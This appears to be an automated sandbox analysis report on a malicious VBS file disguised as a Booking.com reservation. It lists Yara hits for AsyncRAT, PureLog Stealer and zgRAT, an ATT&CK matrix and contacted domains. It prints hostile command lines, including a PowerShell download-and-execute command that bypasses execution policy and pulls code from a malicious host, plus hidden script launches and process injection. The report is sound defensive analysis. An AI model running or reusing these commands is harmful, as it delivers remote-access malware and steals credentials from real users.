Source: Yara match	File source: amsi64_6256.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_6824.amsi.csv, type: OTHER
Source: Yara match	File source: C:\Users\Public\1tron.ps1, type: DROPPED

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 412000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 414000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: D5A008

Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.187865b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	322 Scripting	1 Drive-by Compromise	1 Windows Management Instrumentation	322 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	23 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Reservation Detail Booking.com ID4336.vbs	26%	ReversingLabs	Script-WScript.Backdoor.Asyncrat

Source	Detection	Scanner	Label	Link
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
https://cdn.cookielaw.org/scripttemplates/otSDKStub.js	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d2i5gg36g14bzn.cloudfront.net	18.245.31.18	true	false	unknown
stun4.l.google.com	74.125.250.129	true	false	unknown
stun.twt.it	82.113.193.63	true	false	unknown
chromedata.webredirect.org	128.90.129.125	true	true	unknown
stun2.l.google.com	74.125.250.129	true	false	unknown
collector-pxikkul2rm.px-cloud.net	35.190.10.96	true	false	unknown
stun3.l.google.com	74.125.250.129	true	false	unknown
stun.telbo.com	77.72.169.211	true	false	unknown
dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com	52.209.78.88	true	false	unknown
stun1.l.google.com	74.125.250.129	true	false	unknown
eu-aa.online-metrix.net	91.235.132.129	true	false	unknown
d8c14d4960ca.edge.sdk.awswaf.com	18.245.31.103	true	false	unknown
www.google.com	216.58.212.164	true	false	unknown
h64.online-metrix.net	192.225.158.1	true	false	unknown
stun.usfamily.net	64.131.63.217	true	false	unknown
h-doregtzf.online-metrix.net	91.235.133.10	true	false	unknown
aa.online-metrix.net	91.235.132.129	true	false	unknown
stun.12voip.com	77.72.169.212	true	false	unknown
stun.antisip.com	94.23.17.185	true	false	unknown
doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net	91.235.134.131	true	false	unknown
stun.cablenet-as.net	213.140.209.236	true	false	unknown
du1b3vb35hc0o.cloudfront.net	99.86.4.72	true	false	unknown
natisevil.aasip.co.uk	81.187.30.115	true	false	unknown
skynetx.com.br	24.152.39.120	true	true	unknown
stun.tel.lu	85.93.219.114	true	false	unknown
d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com	108.138.26.94	true	false	unknown
de2trjlt8e8rj.cloudfront.net	18.239.69.6	true	false	unknown
stun.bluesip.net	185.208.37.90	true	false	unknown
stun.actionvoip.com	77.72.169.212	true	false	unknown
stun.acrobits.cz	85.17.88.164	true	false	unknown
stun.1und1.de	212.227.67.33	true	false	unknown
